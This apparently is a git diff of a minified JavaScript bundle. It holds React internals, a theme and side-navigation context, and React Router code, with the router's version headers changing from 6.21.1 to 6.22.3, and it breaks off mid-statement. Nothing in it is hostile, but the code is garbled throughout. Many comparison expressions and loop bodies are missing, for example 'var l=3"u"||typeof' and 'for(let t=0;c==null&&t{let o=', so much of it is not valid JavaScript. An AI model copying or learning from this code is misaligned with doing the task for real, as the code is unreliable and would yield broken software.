c=e.child;if(c!==null)c.return=e;else for(c=e;c!==null;){if(c===a){c=null;break}if(e=c.sibling,e!==null){e.return=c.return,c=e;break}c=c.return}e=c}rs(s,a,p.children,n),a=a.child}return a;case 9:return p=a.type,l=a.pendingProps.children,ln(a,n),p=fs(p),l=l(p),a.flags|=1,rs(s,a,l,n),a.child;case 14:return l=a.type,p=vs(l,a.pendingProps),p=vs(l.type,p),lo(s,a,l,p,n);case 15:return Wi(s,a,a.type,a.pendingProps,n);case 17:return l=a.type,p=a.pendingProps,p=a.elementType===l?p:vs(l,p),xl(s,a),a.tag=1,As(l)?(s=!0,sp(a)):s=!1,ln(a,n),si(a,l,p),Te(a,l,p,n),Le(null,a,l,!0,s,n);case 19:return Yi(s,a,n);case 22:return Bi(s,a,n)}throw Error(w(156,a.tag))};function Ti(s,a){return ur(s,a)}function KI(s,a,n,l){this.tag=s,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=a,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Gs(s,a,n,l){return new KI(s,a,n,l)}function st(s){return s=s.prototype,!(!s||!s.isReactComponent)}function MI(s){if(typeof s=="function")return st(s)?1:0;if(s!=null){if(s=s.$$typeof,s===yc)return 11;if(s===mc)return 14}return 2}function ja(s,a){var n=s.alternate;return n===null?(n=Gs(s.tag,a,s.key,s.mode),n.elementType=s.elementType,n.type=s.type,n.stateNode=s.stateNode,n.alternate=s,s.alternate=n):(n.pendingProps=a,n.type=s.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=s.flags&14680064,n.childLanes=s.childLanes,n.lanes=s.lanes,n.child=s.child,n.memoizedProps=s.memoizedProps,n.memoizedState=s.memoizedState,n.updateQueue=s.updateQueue,a=s.dependencies,n.dependencies=a===null?null:{lanes:a.lanes,firstContext:a.firstContext},n.sibling=s.sibling,n.index=s.index,n.ref=s.ref,n}function Dl(s,a,n,l,p,e){var c=2;if(l=s,typeof s=="function")st(s)&&(c=1);else if(typeof s=="string")c=5;else s:switch(s){case za:return Ya(n.children,p,e,a);case uc:c=8,p|=8;break;case je:return s=Gs(12,n,a,p|2),s.elementType=je,s.lanes=e,s;case Ae:return s=Gs(13,n,a,p),s.elementType=Ae,s.lanes=e,s;case ue:return s=Gs(19,n,a,p),s.elementType=ue,s.lanes=e,s;case ar:return Gp(n,p,e,a);default:if(typeof s=="object"&&s!==null)switch(s.$$typeof){case qo:c=10;break s;case sr:c=9;break s;case yc:c=11;break s;case mc:c=14;break s;case na:c=16,l=null;break s}throw Error(w(130,s==null?s:typeof s,""))}return a=Gs(c,n,a,p),a.elementType=s,a.type=l,a.lanes=e,a}function Ya(s,a,n,l){return s=Gs(7,s,l,a),s.lanes=n,s}function Gp(s,a,n,l){return s=Gs(22,s,l,a),s.elementType=ar,s.lanes=n,s.stateNode={isHidden:!1},s}function re(s,a,n){return s=Gs(6,s,null,a),s.lanes=n,s}function ie(s,a,n){return a=Gs(4,s.children!==null?s.children:[],s.key,a),a.lanes=n,a.stateNode={containerInfo:s.containerInfo,pendingChildren:null,implementation:s.implementation},a}function SI(s,a,n,l,p){this.tag=a,this.containerInfo=s,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=Ep(0),this.expirationTimes=Ep(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=Ep(0),this.identifierPrefix=l,this.onRecoverableError=p,this.mutableSourceEagerHydrationData=null}function at(s,a,n,l,p,e,c,t,o){return s=new SI(s,a,n,t,o),a===1?(a=1,e===!0&&(a|=8)):a=0,e=Gs(3,null,null,a),s.current=e,e.stateNode=s,e.memoizedState={element:l,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Mc(e),s}function xI(s,a,n){var l=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oi)}catch(s){console.error(s)}}Oi(),_o.exports=ks;var QI=_o.exports,Pi,$i,uo=QI;$i=uo.createRoot,Pi=uo.hydrateRoot;const qi={theme:"light",sideNav:!0,initialized:!1},sg=B.createContext({state:qi,init:s=>{},setTheme:s=>{},toggleSideNav:()=>{}});function et(){return B.useContext(sg)}function yo(s,a){try{localStorage.setItem(s,a)}catch(n){console.error(n)}}const mo=({children:s})=>{const[a,n]=B.useState(qi);function l(t){t=="dark"?(document.body.classList.remove("light"),document.body.classList.add("dark")):(document.body.classList.remove("dark"),document.body.classList.add("light"))}function p(t){try{const o=localStorage.getItem("theme")||"light";let i=t.width>=500;{const I=localStorage.getItem("sideNav");I&&(i=I=="true")}l(o),n(I=>({...I,theme:o,sideNav:i}))}catch(o){console.error(o)}n(o=>({...o,initialized:!0}))}function e(t){l(t),n({...a,theme:t}),yo("theme",t)}function c(){const t=!a.sideNav;n({...a,sideNav:t}),yo("sideNav",t)}return r.jsx(sg.Provider,{value:B.useMemo(()=>({state:a,init:p,setTheme:e,toggleSideNav:c}),[a]),children:s})};/** + * @remix-run/router v1.15.3 * * Copyright (c) Remix Software Inc. * @@ -46,8 +46,8 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ct(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function UI(){return Math.random().toString(36).substr(2,8)}function ko(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||UI()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function _I(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let B=I(),h=B==null?null:B-i;i=B,o&&o({action:t,location:b.location,delta:h})}function j(B,h){t=oa.Push;let g=tc(b.location,B,h);n&&n(g,B),i=I()+1;let C=ko(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(Z){if(Z instanceof DOMException&&Z.name==="DataCloneError")throw Z;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function A(B,h){t=oa.Replace;let g=tc(b.location,B,h);n&&n(g,B),i=I();let C=ko(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(B){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof B=="string"?B:ng(B);return P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(B){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(wo,d),o=B,()=>{p.removeEventListener(wo,d),o=null}},createHref(B){return a(p,B)},createURL:m,encodeLocation(B){let h=m(B);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:A,go(B){return c.go(B)}};return b}var Zo;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(Zo||(Zo={}));function LI(s,a,n){n===void 0&&(n="/");let l=typeof a=="string"?jn(a):a,p=cg(l.pathname||"/",n);if(p==null)return null;let e=lg(s);OI(e);let c=null;for(let t=0;c==null&&t{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Ra([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:\w+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Wo=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return n.some(Wo)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Wo(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a){let{routesMeta:n}=s,l={},p="/",e=[];for(let c=0;c{let{paramName:j,isOptional:A}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return A&&!m?i[j]=void 0:i[j]=od(m||"",j),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ct(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:(\w+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return decodeURI(s)}catch(a){return ct(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function od(s,a){try{return decodeURIComponent(s)}catch(n){return ct(!1,'The value for the URL param "'+a+'" will not be decoded because'+(' the string "'+s+'" is a malformed URL segment. This is probably')+(" due to a bad percent encoding ("+n+").")),s}}function cg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function rd(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:id(n,a):a,search:Cd(l),hash:jd(p)}}function id(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function ge(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function gd(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function hd(s,a){let n=gd(s);return a?n.map((l,p)=>p===s.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function Id(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),ge("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),ge("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),ge("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=rd(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Ra=s=>s.join("/").replace(/\/\/+/g,"/"),dd=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),Cd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,jd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function ud(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const tg=["post","put","patch","delete"];new Set(tg);const Ad=["get",...tg];new Set(Ad);/** - * React Router v6.21.1 + */function pl(){return pl=Object.assign?Object.assign.bind():function(s){for(var a=1;a"u")throw new Error(a)}function ag(s,a){if(!s){typeof console<"u"&&console.warn(a);try{throw new Error(a)}catch{}}}function UI(){return Math.random().toString(36).substr(2,8)}function wo(s,a){return{usr:s.state,key:s.key,idx:a}}function tc(s,a,n,l){return n===void 0&&(n=null),pl({pathname:typeof s=="string"?s:s.pathname,search:"",hash:""},typeof a=="string"?jn(a):a,{state:n,key:a&&a.key||l||UI()})}function ng(s){let{pathname:a="/",search:n="",hash:l=""}=s;return n&&n!=="?"&&(a+=n.charAt(0)==="?"?n:"?"+n),l&&l!=="#"&&(a+=l.charAt(0)==="#"?l:"#"+l),a}function jn(s){let a={};if(s){let n=s.indexOf("#");n>=0&&(a.hash=s.substr(n),s=s.substr(0,n));let l=s.indexOf("?");l>=0&&(a.search=s.substr(l),s=s.substr(0,l)),s&&(a.pathname=s)}return a}function _I(s,a,n,l){l===void 0&&(l={});let{window:p=document.defaultView,v5Compat:e=!1}=l,c=p.history,t=oa.Pop,o=null,i=I();i==null&&(i=0,c.replaceState(pl({},c.state,{idx:i}),""));function I(){return(c.state||{idx:null}).idx}function d(){t=oa.Pop;let Z=I(),h=Z==null?null:Z-i;i=Z,o&&o({action:t,location:b.location,delta:h})}function j(Z,h){t=oa.Push;let g=tc(b.location,Z,h);n&&n(g,Z),i=I()+1;let C=wo(g,i),y=b.createHref(g);try{c.pushState(C,"",y)}catch(W){if(W instanceof DOMException&&W.name==="DataCloneError")throw W;p.location.assign(y)}e&&o&&o({action:t,location:b.location,delta:1})}function u(Z,h){t=oa.Replace;let g=tc(b.location,Z,h);n&&n(g,Z),i=I();let C=wo(g,i),y=b.createHref(g);c.replaceState(C,"",y),e&&o&&o({action:t,location:b.location,delta:0})}function m(Z){let h=p.location.origin!=="null"?p.location.origin:p.location.href,g=typeof Z=="string"?Z:ng(Z);return g=g.replace(/ $/,"%20"),P(h,"No window.location.(origin|href) available to create URL for href: "+g),new URL(g,h)}let b={get action(){return t},get location(){return s(p,c)},listen(Z){if(o)throw new Error("A history only accepts one active listener");return p.addEventListener(bo,d),o=Z,()=>{p.removeEventListener(bo,d),o=null}},createHref(Z){return a(p,Z)},createURL:m,encodeLocation(Z){let h=m(Z);return{pathname:h.pathname,search:h.search,hash:h.hash}},push:j,replace:u,go(Z){return c.go(Z)}};return b}var ko;(function(s){s.data="data",s.deferred="deferred",s.redirect="redirect",s.error="error"})(ko||(ko={}));function LI(s,a,n){n===void 0&&(n="/");let l=typeof a=="string"?jn(a):a,p=cg(l.pathname||"/",n);if(p==null)return null;let e=lg(s);OI(e);let c=null;for(let t=0;c==null&&t{let o={relativePath:t===void 0?e.path||"":t,caseSensitive:e.caseSensitive===!0,childrenIndex:c,route:e};o.relativePath.startsWith("/")&&(P(o.relativePath.startsWith(l),'Absolute route path "'+o.relativePath+'" nested under path '+('"'+l+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),o.relativePath=o.relativePath.slice(l.length));let i=Ra([l,o.relativePath]),I=n.concat(o);e.children&&e.children.length>0&&(P(e.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+i+'".')),lg(e.children,a,I,i)),!(e.path==null&&!e.index)&&a.push({path:i,score:ld(i,e.index),routesMeta:I})};return s.forEach((e,c)=>{var t;if(e.path===""||!((t=e.path)!=null&&t.includes("?")))p(e,c);else for(let o of pg(e.path))p(e,c,o)}),a}function pg(s){let a=s.split("/");if(a.length===0)return[];let[n,...l]=a,p=n.endsWith("?"),e=n.replace(/\?$/,"");if(l.length===0)return p?[e,""]:[e];let c=pg(l.join("/")),t=[];return t.push(...c.map(o=>o===""?e:[e,o].join("/"))),p&&t.push(...c),t.map(o=>s.startsWith("/")&&o===""?"/":o)}function OI(s){s.sort((a,n)=>a.score!==n.score?n.score-a.score:pd(a.routesMeta.map(l=>l.childrenIndex),n.routesMeta.map(l=>l.childrenIndex)))}const PI=/^:[\w-]+$/,$I=3,qI=2,sd=1,ad=10,nd=-2,Zo=s=>s==="*";function ld(s,a){let n=s.split("/"),l=n.length;return n.some(Zo)&&(l+=nd),a&&(l+=qI),n.filter(p=>!Zo(p)).reduce((p,e)=>p+(PI.test(e)?$I:e===""?sd:ad),l)}function pd(s,a){return s.length===a.length&&s.slice(0,-1).every((l,p)=>l===a[p])?s[s.length-1]-a[a.length-1]:0}function ed(s,a){let{routesMeta:n}=s,l={},p="/",e=[];for(let c=0;c{let{paramName:j,isOptional:u}=I;if(j==="*"){let b=t[d]||"";c=e.slice(0,e.length-b.length).replace(/(.)\/+$/,"$1")}const m=t[d];return u&&!m?i[j]=void 0:i[j]=(m||"").replace(/%2F/g,"/"),i},{}),pathname:e,pathnameBase:c,pattern:s}}function cd(s,a,n){a===void 0&&(a=!1),n===void 0&&(n=!0),ag(s==="*"||!s.endsWith("*")||s.endsWith("/*"),'Route path "'+s+'" will be treated as if it were '+('"'+s.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+s.replace(/\*$/,"/*")+'".'));let l=[],p="^"+s.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(c,t,o)=>(l.push({paramName:t,isOptional:o!=null}),o?"/?([^\\/]+)?":"/([^\\/]+)"));return s.endsWith("*")?(l.push({paramName:"*"}),p+=s==="*"||s==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?p+="\\/*$":s!==""&&s!=="/"&&(p+="(?:(?=\\/|$))"),[new RegExp(p,a?void 0:"i"),l]}function td(s){try{return s.split("/").map(a=>decodeURIComponent(a).replace(/\//g,"%2F")).join("/")}catch(a){return ag(!1,'The URL path "'+s+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+a+").")),s}}function cg(s,a){if(a==="/")return s;if(!s.toLowerCase().startsWith(a.toLowerCase()))return null;let n=a.endsWith("/")?a.length-1:a.length,l=s.charAt(n);return l&&l!=="/"?null:s.slice(n)||"/"}function od(s,a){a===void 0&&(a="/");let{pathname:n,search:l="",hash:p=""}=typeof s=="string"?jn(s):s;return{pathname:n?n.startsWith("/")?n:rd(n,a):a,search:dd(l),hash:Cd(p)}}function rd(s,a){let n=a.replace(/\/+$/,"").split("/");return s.split("/").forEach(p=>{p===".."?n.length>1&&n.pop():p!=="."&&n.push(p)}),n.length>1?n.join("/"):"/"}function ge(s,a,n,l){return"Cannot include a '"+s+"' character in a manually specified "+("`to."+a+"` field ["+JSON.stringify(l)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function id(s){return s.filter((a,n)=>n===0||a.route.path&&a.route.path.length>0)}function gd(s,a){let n=id(s);return a?n.map((l,p)=>p===s.length-1?l.pathname:l.pathnameBase):n.map(l=>l.pathnameBase)}function hd(s,a,n,l){l===void 0&&(l=!1);let p;typeof s=="string"?p=jn(s):(p=pl({},s),P(!p.pathname||!p.pathname.includes("?"),ge("?","pathname","search",p)),P(!p.pathname||!p.pathname.includes("#"),ge("#","pathname","hash",p)),P(!p.search||!p.search.includes("#"),ge("#","search","hash",p)));let e=s===""||p.pathname==="",c=e?"/":p.pathname,t;if(c==null)t=n;else{let d=a.length-1;if(!l&&c.startsWith("..")){let j=c.split("/");for(;j[0]==="..";)j.shift(),d-=1;p.pathname=j.join("/")}t=d>=0?a[d]:"/"}let o=od(p,t),i=c&&c!=="/"&&c.endsWith("/"),I=(e||c===".")&&n.endsWith("/");return!o.pathname.endsWith("/")&&(i||I)&&(o.pathname+="/"),o}const Ra=s=>s.join("/").replace(/\/\/+/g,"/"),Id=s=>s.replace(/\/+$/,"").replace(/^\/*/,"/"),dd=s=>!s||s==="?"?"":s.startsWith("?")?s:"?"+s,Cd=s=>!s||s==="#"?"":s.startsWith("#")?s:"#"+s;function jd(s){return s!=null&&typeof s.status=="number"&&typeof s.statusText=="string"&&typeof s.internal=="boolean"&&"data"in s}const tg=["post","put","patch","delete"];new Set(tg);const Ad=["get",...tg];new Set(Ad);/** + * React Router v6.22.3 * * Copyright (c) Remix Software Inc. * @@ -55,8 +55,8 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=Id(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Ra([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function wd(s,a){return kd(s,a)}function kd(s,a,n,l){Np()||P(!1);let{navigator:p}=W.useContext(Xp),{matches:e}=W.useContext(un),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Hp(),I;if(a){var d;let B=typeof a=="string"?jn(a):a;o==="/"||(d=B.pathname)!=null&&d.startsWith(o)||P(!1),I=B}else I=i;let j=I.pathname||"/",A=o==="/"?j:j.slice(o.length)||"/",m=LI(s,{pathname:A}),b=Vd(m&&m.map(B=>Object.assign({},B,{params:Object.assign({},t,B.params),pathname:Ra([o,p.encodeLocation?p.encodeLocation(B.pathname).pathname:B.pathname]),pathnameBase:B.pathnameBase==="/"?o:Ra([o,p.encodeLocation?p.encodeLocation(B.pathnameBase).pathname:B.pathnameBase])})),e,n,l);return a&&b?W.createElement(vp.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function Zd(){let s=Xd(),a=ud(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const Wd=W.createElement(Zd,null);class Bd extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(un.Provider,{value:this.props.routeContext},W.createElement(og.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Gd(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(tt);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(un.Provider,{value:a},l)}function Vd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if((e=n)!=null&&e.errors)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id]));I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let A,m=!1,b=null,B=null;n&&(A=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Wd,o&&(i<0&&j===0?(Nd("route-fallback",!1),m=!0,B=null):i===j&&(m=!0,B=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return A?C=b:m?C=B:d.route.Component?C=W.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,W.createElement(Gd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?W.createElement(Bd,{location:n.location,revalidation:n.revalidation,component:b,error:A,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var ig=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(ig||{}),dp=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(dp||{});function fd(s){let a=W.useContext(tt);return a||P(!1),a}function Yd(s){let a=W.useContext(yd);return a||P(!1),a}function Rd(s){let a=W.useContext(un);return a||P(!1),a}function gg(s){let a=Rd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Xd(){var s;let a=W.useContext(og),n=Yd(dp.UseRouteError),l=gg(dp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function vd(){let{router:s}=fd(ig.UseNavigateStable),a=gg(dp.UseNavigateStable),n=W.useRef(!1);return rg(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}const Bo={};function Nd(s,a,n){!a&&!Bo[s]&&(Bo[s]=!0)}function hg(s){P(!1)}function Hd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Np()&&P(!1);let o=a.replace(/^\/*/,"/"),i=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:A=null,key:m="default"}=l,b=W.useMemo(()=>{let B=cg(I,o);return B==null?null:{location:{pathname:B,search:d,hash:j,state:A,key:m},navigationType:p}},[o,I,d,j,A,m,p]);return b==null?null:W.createElement(Xp.Provider,{value:i},W.createElement(vp.Provider,{children:n,value:b}))}function Fd(s){let{children:a,location:n}=s;return wd(oc(a),n)}new Promise(()=>{});function oc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,oc(l.props.children,e));return}l.type!==hg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=oc(l.props.children,e)),n.push(c)}),n}/** - * React Router DOM v6.21.1 + */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),B.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=hd(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Ra([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function bd(s,a){return wd(s,a)}function wd(s,a,n,l){Np()||P(!1);let{navigator:p}=B.useContext(Xp),{matches:e}=B.useContext(An),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Hp(),I;if(a){var d;let Z=typeof 